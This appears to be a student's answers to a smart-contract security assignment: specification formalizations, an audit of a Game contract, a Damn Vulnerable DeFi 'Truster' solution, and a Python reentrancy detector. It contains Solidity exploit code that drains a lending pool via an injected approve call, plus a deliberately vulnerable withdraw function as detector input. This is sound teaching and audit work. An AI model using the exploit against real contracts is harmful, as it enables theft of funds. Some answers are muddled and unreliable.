Formalization

Formalize each of the following english statements in the [V] specification language. This document should contain all of the information you need about the [V] specification language. • A RefundableCrowdsale's `claimRefund` transaction will revert if goalReached() or not isFinalized • After a RefundableCrowdsale withdraw transaction, msg.sender's balance should increase by the original value (before the execution of the withdraw transaction) of balanceOf(msg.sender) and balanceOf(msg.sender) should be 0.

Solution

1. `reverted(RefundableCrowdsale.claimRefund(to, amt), this.goalReached()|| this.isFinalized != true )`
2. `finished( RefundableCrowdsale.withdraw(msg.sender,amt), this.balanceOf(msg.sender)>= amt && msg.sender != null |=> this.balanceOf(msg.sender)= 0 )`

Verification

Look at the code given in Game.sol. Does attempt adhere to the following formal function specification: finished(Game.attempt, Game.started && value > Game.cost |=> Game.value = fsum(Game.attempt(guess),guess))

```
    function attempt(uint guess) external payable {
        require(started);
        require(msg.value > cost);

        value = value.add(guess);
        bytes32 result = sha256(abi.encode(value));

        if(result == target) {
            payable(msg.sender).send(address(this).balance);
            started = false;
        }
    }
```

Solution

Yes. "|=>" denotes pre and post conditions of a transactions before and after it is finished. Preconditions are met. However It seems that Game.value = fsum(Game.attempt(guess),guess)) meant to be

accumulator of the guess value inserted in each transaction it is not clear as fsum takes 3 arguments based but 2 is given. It could be the case the precondition before "|=>" worked as "cond" here.

Detection

Look at the code given in Game.sol. The main smart contract, Game, is a game where users attempt to guess a value that produces a target hash. It is intended to have the following behavior: • The variable target is the goal hash that the user has to "guess." • A user provides their guess by issuing an attempt. The user's guess is not used directly, rather it is fed into a computation (in this case it simply adds guess to another value) and then the resulting hash is compared against target. • If the guesses match, then the user wins! When users make attempts, they have to pay cost for the right to guess. The winner is provided with all of the accrued funds from previous attempts to guess target. • After the game is won, the owner can initiate a new game by calling setTarget. While a target is not set, users cannot make any more attempts to guess the target. Determine whether Game is vulnerable to an attack. Note, the contract is vulnerable if it deviates from the above behavior or is susceptible to attacks such as theft of funds, denial of service, locked funds, reentrancy, etc.

```
1            ----------  **Audit Findings** ----------
```

Critical

1. Reentrancy Vulnerability in attempt Function: The attempt function sends Ether to a user if they guess correctly. However, it does not set started to false before sending Ether. This can lead to a reentrancy attack, where a malicious contract could keep calling attempt before the original call is completed.

Fix:

Update the state (started = false) before transferring Ether.

High

2. Unchecked External Call in attempt Function:

The send method used in the attempt function returns a boolean indicating success or failure but does not automatically revert the transaction on failure. This can lead to a loss of funds if the send fails.

Fix:

Replace send with transfer or check the return value of send and revert if it's false.

3. Missing Access Control for setTarget:

The setTarget function can be called by anyone, allowing the target to be changed arbitrarily. This could be exploited.

Fix:

Add a modifier to ensure that only the owner can call setTarget.

Low

4. Lack of Input Validation:

The Game contract constructor and setTarget function do not validate their inputs. Malicious users can pass in arbitrary values, potentially causing issues.

Fix:

Add input validation checks where necessary.

5. Visibility of value Variable:

The variable value and target are publicly visible, which could give away game state information. Consider if this is intentional or if it should be private.

Fix:

Make it internal

Gas and Optimization

Inefficient Gas Usage:

Some optimizations can be made to reduce gas costs, such as removing SafeMath where not needed (as Solidity 0.8+ has built-in checks) and optimizing the storage and access of state variables.

No Circuit Breaker or Pause Mechanism:

The contract lacks a mechanism to pause or stop operations in case of an emergency or discovery of a bug.

Fix:

Implement a circuit breaker or pause mechanism controlled by the owner.

Initial State in Constructor:

The game starts as soon as it's deployed. This might not be ideal in all scenarios.

Fix: Allow the constructor to set the initial state or implement a startGame function.

Potential for Front-Running in attempt:

Since transaction order on Ethereum can be influenced, there's a risk that someone could see a winning transaction and front-run it.

Fix:

Consider mechanisms to prevent front-running, such as commit-reveal schemes.

Exploit

DamnVulnerableDeFi is a set of challenge problems where you are given a set of smart contracts and a goal, then you exploit the contracts to accomplish the goal. Please solve Damn Vulnerable DeFi Problem 3 (Truster). Note, we do not expect you to "hack it" by producing a truffle test. Simply describe how the contract can be exploited to achieve the goal.

Solution of Truster

```
    contract Exploit {
         function attack ( address _pool, address _token) public {
             TrusterLenderPool pool = TrusterLenderPool(_pool);
             IERC20 token = IERC20(_token);

             bytes memory data = abi.encodeWithSignature(
                 "approve(address,uint256)", address(this), uint(-1) //
                    exploit by calling approve n number of times
             );

             pool.flashLoan(0, msg.sender, _token, data);

             token.transferFrom(_pool , msg.sender, token.balanceOf(
                _pool));
         }
}
```

The exploit works because the flashLoan function in TrusterLenderPool doesn't validate the target address and the data being passed. This allows an attacker to call any function, including critical ones like approve, on the token contract during the flash loan process. The can be abused by setting a high allowance for itself and then draining the pool's funds.

Tooling

Use solc-typed-ast to develop a detector that will identify possible reentrancy attacks in Solidity smart contracts. Reentrancy attacks can occur if a contract variable is modified after an external call. For example, the following function should be flagged as possibly reentrant since credit is modified after

```
msg.sender.call{value:amount}(""). mapping (address => uint)credit;
function withdraw(uint amount)public{ bool success; bytes memory data
; if (credit[msg.sender]>= amount){ (success, data)= msg.sender.call{
value:amount}(""); require(success); credit[msg.sender]-=amount; } }
```

Soulution Code

```
    import json
    import solcx

    def compile_solidity(source_code):
         solcx.install_solc('0.8.19')
```

```
        compiled_sol = solcx.compile_source(source_code, output_values=[
                                            "ast"], solc_version='0.8.19')
        contract_key = next(iter(compiled_sol.keys()))
        return compiled_sol[contract_key]['ast']

    def find_reentrancy(ast):
        if 'nodes' in ast:
            for node in ast['nodes']:
                if node['nodeType'] == 'ContractDefinition':
                    for contract_node in node['nodes']:
                        if contract_node['nodeType'] == 'FunctionDefinition':
                            analyze_function(contract_node)

    def analyze_function(function_node):
        external_call_found = False
        for node in traverse(function_node.get('body', {})):
            if is_external_call(node):
                external_call_found = True
            elif external_call_found and is_assignment(node):
                print(f"Potential reentrancy in function: {function_node['name']}")
                break

    def traverse(node):
        if isinstance(node, dict):
            if 'nodeType' in node:
                yield node
            for child in node.values():
                if isinstance(child, dict):
                    yield from traverse(child)
                elif isinstance(child, list):
                    for item in child:
                        if isinstance(item, dict):
                            yield from traverse(item)

    def is_external_call(node):
        return (node.get('nodeType') == 'FunctionCall' and
                'memberName' in node.get('expression', {}).get('expression', {}) and
                node['expression']['expression']['memberName'] == 'call')

    def is_assignment(node):
        return node.get('nodeType') == 'Assignment'

    def main():
        solidity_code = """
        pragma solidity 0.8.19;
```

```
51
52          contract ReentrancyVulnerableContract {
53              mapping(address => uint256) public credit;
54
55              function withdraw(uint256 amount) public {
56                  bool success;
57                  bytes memory data;
58                  if (credit[msg.sender] >= amount) {
59                  //credit[msg.sender] -= amount;
60                      (success, data) = msg.sender.call{value:amount}("")
                            ;
61                      require(success);
62                      credit[msg.sender] -= amount;
63                  }
64              }
65          }
66          """
67          ast = compile_solidity(solidity_code)
68          find_reentrancy(ast)
69
70      if __name__ == "__main__":
71          main()
```